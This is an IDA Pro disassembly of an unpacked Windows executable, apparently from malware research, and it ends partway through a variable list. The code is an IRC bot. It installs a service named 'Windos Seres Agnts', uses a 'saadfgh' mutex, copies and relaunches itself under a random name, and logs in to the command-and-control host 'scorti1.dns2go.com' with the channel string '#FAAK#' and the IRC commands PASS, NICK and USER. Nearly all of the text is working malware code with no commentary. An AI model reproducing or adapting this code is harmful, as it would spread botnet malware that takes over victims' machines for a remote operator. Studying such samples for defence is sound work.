; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6F4C619831AA11418F3B1391E1EA809E ; File Name : u:\work\6f4c619831aa11418f3b1391e1ea809e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C call sub_40B583 call dword_4CB92C call dword_4CB92C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2680A92h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 26709E4h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 push 7530h push offset aSaadfgh ; "saadfgh" push ebx push ebx call near ptr 26A01EFh nop push eax nop call near ptr 26A0168h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB944 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2680A92h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26A0000h push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AC8 lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2690E7Eh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 2690D47h nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 269086Bh cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2680EF8h nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2690D47h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB88 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 269081Fh push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_433094o nop call near ptr 26902E0h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 26709E4h nop test eax, eax jz short loc_401516 push 0C8h call near ptr 2680EF8h nop push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB92C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26A0168h push esi nop call near ptr 2670770h mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2680EF8h mov eax, dword_4DBDFC push dword ptr [eax+8] nop call near ptr 26901EBh loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 nop call near ptr 269086Bh push eax lea eax, [ebp-0A0h] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A nop call near ptr 269086Bh push eax lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2680EF8h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB92C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2680EF8h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C push 1388h call near ptr 2680EF8h nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2680EF8h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h 